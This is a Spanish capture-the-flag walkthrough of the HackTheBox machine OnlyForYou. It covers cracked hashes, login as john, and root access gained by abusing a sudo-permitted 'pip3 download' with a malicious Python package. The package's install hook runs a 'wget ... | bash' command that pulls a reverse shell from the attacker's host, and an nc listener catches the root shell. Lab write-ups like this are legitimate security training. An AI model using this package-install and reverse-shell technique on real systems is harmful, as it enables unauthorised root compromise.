10.10.11.210 - - [15/Jun/2023 20:48:04] "GET /?name=Sarah Jhonson HTTP/1.1" 400 -

Con crackstation logramos obtener el valor de ambos hashes.

1
2
8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918: admin
a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6: ThisIs4You

Shell

Finalmente logramos acceder al usuario john y leer nuestra flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
$ su john
Password: ThisIs4You
cd
whoami;id;pwd
john
uid=1000(john) gid=1000(john) groups=1000(john)
/home/john
ls
user.txt
cat user.txt
a3c479cb72df369711e20ef71e381c57

Privesc

Cambiamos a una shell mas comoda, SSH.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
 π ~/htb/onlyforyou ❯ ssh john@only4you.htb # ThisIs4You
The authenticity of host 'only4you.htb (10.10.11.210)' can't be established.
ED25519 key fingerprint is SHA256:U8eFq/5B0v+ZYi75z7P7z+tVF+SfX4vocJo2UsHEsxM.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'only4you.htb' (ED25519) to the list of known hosts.
john@only4you.htb's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-146-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue 13 Jun 2023 10:59:27 PM UTC

  System load:           0.0
  Usage of /:            84.4% of 6.23GB
  Memory usage:          44%
  Swap usage:            0%
  Processes:             249
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.210
  IPv6 address for eth0: dead:beef::250:56ff:feb9:b7a7


 * Introducing Expanded Security Maintenance for Applications.
   Receive updates to over 25,000 software packages with your
   Ubuntu Pro subscription. Free for personal use.

     https://ubuntu.com/pro

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Tue Apr 18 07:46:32 2023 from 10.10.14.40
john@only4you:~$ whoami
john
john@only4you:~$

Al ejecutar sudo -l -l observamos que john puede ejecutar un comando como root. El comando descarga e instala un paquete en la direccion local y puerto 3000 en donde Gogs se encuentra tambien se muestra el uso de * por lo que puede ser cualquier nombre del archivo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
john@only4you:~$ sudo -l -l # ThisIs4You
Matching Defaults entries for john on only4you:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User john may run the following commands on only4you:

Sudoers entry:
    RunAsUsers: root
    Options: !authenticate
    Commands:
	/usr/bin/pip3 download http\://127.0.0.1\:3000/*.tar.gz
john@only4you:~$

Malicious Python Package

pip download es similar a pip install por lo que buscamos formas de explotar este comando o al menos el presentado en la maquina. Encontramos el post Malicious Python Packages and Code Execution via pip download en el que muestra la creacion de un paquete que permite ejecutar comandos al ser instalado.

Seguimos los pasos para crear el paquete, el comando a ejecutar es la creacion de un archivo en el directorio /tmp/.

1
2
3
4
5
6
7
[ .. ]

def RunCommand():
    import os
    os.system('touch /tmp/sckull')    

[ .. ]

Construimos nuestro paquete utilizando python -m build. Vemos que nuestro paquete se creo en dist/.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
 π this_is_fine_wuzzi main ✗ ❯ python -m build
* Creating virtualenv isolated environment...
* Installing packages in isolated environment... (setuptools >= 40.8.0, wheel)
* Getting build dependencies for sdist...
running egg_info
[...]
adding 'priv-0.0.1.dist-info/LICENSE'
adding 'priv-0.0.1.dist-info/METADATA'
adding 'priv-0.0.1.dist-info/WHEEL'
adding 'priv-0.0.1.dist-info/top_level.txt'
adding 'priv-0.0.1.dist-info/RECORD'
removing build/bdist.linux-x86_64/wheel
Successfully built priv-0.0.1.tar.gz and priv-0.0.1-py3-none-any.whl
 π this_is_fine_wuzzi main ✗ ❯ ls dist
priv-0.0.1-py3-none-any.whl  priv-0.0.1.tar.gz
 π this_is_fine_wuzzi main ✗ ❯

Ya que el comando unicamente acepta el puerto local de gogs intentamos ingresar con las credenciales de john el cual fue exitoso.

image

Creamos un repositorio para almacenar nuestro paquete.

image

Subimos el archivo y obtuvimos el link de ‘Raw’.

image

1
http://127.0.0.1:3000/john/privesc/raw/master/priv-0.0.1.tar.gz

Tras ejecutar el comando con sudo y nuestro paquete vemos que el archivo especificado fue creado.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
john@only4you:~$ sudo /usr/bin/pip3 download http://127.0.0.1:3000/john/privesc/raw/master/priv-0.0.1.tar.gz
Collecting http://127.0.0.1:3000/john/privesc/raw/master/priv-0.0.1.tar.gz
  Downloading http://127.0.0.1:3000/john/privesc/raw/master/priv-0.0.1.tar.gz
     - 2.7 kB 10.8 MB/s
  Saved ./priv-0.0.1.tar.gz
Successfully downloaded priv
john@only4you:~$ ls -lah /tmp
total 312K
drwxrwxrwt 40 root  root  4.0K Jun 14 01:21 .
drwxr-xr-x 17 root  root  4.0K Mar 30 11:51 ..
drwxrwxrwt  2 root  root  4.0K Jun 14 00:37 .font-unix

[ .. ]

drwx------  2 root  root  4.0K Jun 14 01:08 pip-req-build-zyjyr4dp
-rw-r--r--  1 root  root     0 Jun 14 01:21 sckull
drwx------  3 root  root  4.0K Jun 14 00:37 systemd-private-3b13a85fd2df455ebdfc1b2591e5a48d-gogs.service-sCGrbg
drwx------  3 root  root  4.0K Jun 14 00:37 systemd-private-3b13a85fd2df455ebdfc1b2591e5a48d-ModemManager.service-fXTeli
drwx------  3 root  root  4.0K Jun 14 00:37 systemd-private-3b13a85fd2df455ebdfc1b2591e5a48d-systemd-logind.service-Dcdnag
drwx------  3 root  root  4.0K Jun 14 00:37 systemd-private-3b13a85fd2df455ebdfc1b2591e5a48d-systemd-resolved.service-w0H3li
drwx------  3 root  root  4.0K Jun 14 00:37 systemd-private-3b13a85fd2df455ebdfc1b2591e5a48d-systemd-timesyncd.service-ScS9jj
drwxrwxrwt  2 root  root  4.0K Jun 14 00:37 .Test-unix
drwx------  2 root  root  4.0K Jun 14 00:37 vmware-root_793-4248746047
drwxrwxrwt  2 root  root  4.0K Jun 14 00:37 .X11-unix
drwxrwxrwt  2 root  root  4.0K Jun 14 00:37 .XIM-unix
john@only4you:~$

Shell

Modificamos el comando a ejecutar, esta vez una shell inversa, ejecutamos shells para ello.

1
os.system('wget -qO- 10.10.14.140:8000/10.10.14.140:1335|bash')

Nuevamente ejecutamos el comando.

1
2
3
4
john@only4you:~$ sudo /usr/bin/pip3 download http://127.0.0.1:3000/john/privesc/raw/master/priv-0.0.1.tar.gz
Collecting http://127.0.0.1:3000/john/privesc/raw/master/priv-0.0.1.tar.gz
  Downloading http://127.0.0.1:3000/john/privesc/raw/master/priv-0.0.1.tar.gz
     - 2.8 kB 4.6 MB/s

Esta vez obtuvimos una shell inversa y logramos leer la flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
 π ~/htb/onlyforyou ❯ rlwrap nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.14.112] from only4you.htb [10.10.11.210] 35232
# whoami;pwd;id
root
/tmp/pip-req-build-f0yj92bp
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# ls
root.txt
scripts
# cat root.txt
474e151325996116685a65a9dd804c7d
#
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe